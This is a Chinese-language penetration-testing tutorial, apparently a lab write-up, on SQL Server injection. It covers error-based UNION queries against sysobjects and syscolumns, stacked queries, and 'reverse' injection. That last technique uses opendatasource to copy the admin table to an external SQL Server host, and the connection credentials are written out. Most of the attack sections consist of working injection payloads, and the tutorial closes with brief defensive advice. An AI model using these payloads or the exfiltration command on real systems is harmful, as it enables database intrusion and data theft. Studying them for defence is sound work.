渗透测试基础-SQL server数据库之反弹注入

渗透测试基础-SQL server数据库之反弹注入

    • SQL server数据库
    • SQLserver显错注入靶场演练
    • 堆叠注入
    • SQLserver反弹注入
    • 漏洞总结

只为对所学知识做一个简单的梳理,如果有表达存在问题的地方,麻烦帮忙指认出来。我们一起为了遇见更好的自己而努力!

SQL server数据库

既然要学习SQLserver数据库的注入知识,那当然得先了解一下SQLserver的语句。

数据库都有着相通的地方,所以其SQL语句相差不大。先来看一下SQLserver数据库是怎样的一个数据结构

渗透测试基础-SQL server数据库之反弹注入_第1张图片
根据截图我们能看到,SQLserver不是像MYSQL那样,一打开就显示的全是库名,而这边就显示了两个选项dboguest,在SQLserver中,DBO是每个数据库的默认用户,具有所有者权限,即DbOwner,guest则是来宾权限。

渗透测试基础-SQL server数据库之反弹注入_第2张图片
简单创建了一个表,并查询了一下表里的数据。看看我们应该如何去注入这个表,用怎样的方法去注入,因为SQLserver它没有和MYSQL那样自带一个information_schema的库,但是它可以用sysobjectssyscolumns来完成注入。

渗透测试基础-SQL server数据库之反弹注入_第3张图片
sysobjects表中,有着许许多多的数据,但是注意下图。
渗透测试基础-SQL server数据库之反弹注入_第4张图片
我们自己创建的admin表,在这里所对应字段xtype的数据是U,这是因为,我们是以user用户创建的,用户创建的表,在这里的xtype字段都将是U
渗透测试基础-SQL server数据库之反弹注入_第5张图片
这里的id字段也起到了关键作用。我们可以在这个表,将字段数据设置为U然后去查询对应name字段的数据,这样就能取到表名。在看如何取到admin表的字段名。

渗透测试基础-SQL server数据库之反弹注入_第6张图片
在这个表中,我们看到了admin的字段名为idname,这里的查询关键就是刚刚的id字段所对应的数据,所以限制条件就能正确拿到admin表名

基本知识已经普及了,去看一下SQLserver的显错注入应该怎么做。

SQLserver显错注入靶场演练


进入靶场环境。这个靶场看起来更像是模拟了一个数据库的可视化工具。我们还是和以前一样用浏览器插件去尝试。

测试语句:
and 1 like 2-- q


语句没有成功,靶场还贴心的告诉了我们错误的地方在哪,看情况是因为这里有着单引号的存在,我们输入的语句在单引号中,这里需要我们先将其闭合一下在尝试。

测试语句:
'and 1 like 2-- q


语句执行成功,但什么动没有显示,是因为这里加入了False条件的原因。用order by测试一下这里的字段数。

测试语句:
'order by 1-- q

经过几次测试,这里的字段数为3。接着看一下这里的显错点在哪

测试语句:
'and 1 like 2 union all select 1,2,3-- q


我们看到这里有这三个报错点,根据我们一开始学习到的知识,想要取得表名,我们只需要在sysobjects的表限制条件为xtype='U',查询字段nameid的就能拿到我们想要的数据。

测试语句:
'and 1 like 2 union all select name,id,3 from sysobjects where xtype='U'-- q


这里我们看到,语句并没有执行成功,其实这里的问题出在字段类型上,我们所查询的数据,并不能在该显错位显示出来。所以得先确认一下三个显错位是什么类型的。不用的空位置,用null代替。

测试语句:
'and 1 like 2 union all select 1,null,null-- q
渗透测试基础-SQL server数据库之反弹注入_第7张图片

这里能看到,一号显错位是int类型的,所以让它输出varchar自然就会出错。现在在合理规划一下输出位置在执行。

测试语句:
'and 1 like 2 union all select id,name,null from sysobjects where xtype='U'-- q


这样就取到了数据,在这个这些数据中,admin表最应该引起我们的注意,要注意这里需要取下admin表所对应的id字段数据,我们需要拿到syscolumns表里查字段名。

测试语句:
'and 1 like 2 union all select id,name,null from syscolumns where id=1977058079-- q


这里就得到了admin表里的所有字段名,有这些字段了就能查询数据了,挑选三个可疑字段名字,id,passed,token。带入语句测试

测试语句:
'and 1 like 2 union all select id,passwd,token from admin-- q


token字段找到了flag数据。

堆叠注入

先说一下堆叠注入
堆叠注入描述很简单,就是将几个句子一起执行
比如
select * from users where id=1;create table test like users;

前面一个句子是查询users表里的数据
后面一个句子是新建一个表 ,如下图
渗透测试基础-SQL server数据库之反弹注入_第8张图片
执行成功,我们在看一下创建的test表格
渗透测试基础-SQL server数据库之反弹注入_第9张图片
这里的分号的意思就是将两个句子分割开,分号表示的是一个语句的结束,这个在后面反弹注入起到了关键的作用

SQLserver反弹注入

反弹注入的应用场景并非是在现在这样的情况下使用的,因为这里根本就不需要这样去做。反弹注入的方法,主要是用在,这个地方不可以多次去尝试,测试多了ban掉你的ip,不让你进一步测试。反弹注入可只需要几条命令,就能取出完完全全的数据。当然这里也是有必要条件的。1.两个数据库要能连接.2.反弹过去的数据字段数要一样,不可多也不能少。

先看一下SQLserver反弹注入的

测试语句:

;insert into opendatasource('sqloledb','server=den1.mssql8.gear.host,1433;uid=nfnfnf;pwd=Mw2Q?HsVk!H3;database=nfnfnf').nfnfnf.dbo.list select *from admin -- q

这里语句可以分为几个部分去理解

  1. insert into 插入数据
  2. opendatasource(‘sqloledb’,’连接名,端口;uid=库名;pwd=密码;database=库名’).库名.dbo.表名
  3. 插入到的位置,插入到的表名
  4. 需要插入的数据是什么

清晰明了

因为使用的是同一个靶场,所以我们这里是知道表有4个字段的,我们先在自己的SQLserver数据库创建一个list表,并有4个字段就好。

这里list表已经创建好,先对刚刚的语句做一些修改,加入自己SQLserver数据库的连接信息。

测试语句:
;insert into opendatasource('sqloledb','server=SQL5095.site4now.net,1433;uid=DB_14DBF5F_uynvprlnc_admin;pwd=uynvprlnc;database=DB_14DBF5F_uynvprlnc_admin).DB_14DBF5F_uynvprlnc_admin.dbo.list select *from admin -- q

渗透测试基础-SQL server数据库之反弹注入_第10张图片

这里就一下就拿到了flag数据,有关实际情况中怎么去知道那个地方有多少字段的问题,我们可以这样操作,我们在去取数据前,先对其syscolumns表做一次表的全弹出,这样就能知道你要查的那个表是多少个字段了。

漏洞总结

SQLserver的这几个注入,和其他注入差别并不大,所以防护手段也差不多,主要以过滤为主,过滤字符标点符号也尽量过,还可以过滤掉opendatasource这样的连接函数,或者不要让服务器出网访问,这样就会安全很多。当然了这样随之就会失去了这些便利的方法。我们也主要找的就是安全的高低和服务使用体验的平衡点

《最好的防御,是明白其怎么实施的攻击》

你可能感兴趣的:(SQL注入,数据库,sql,安全)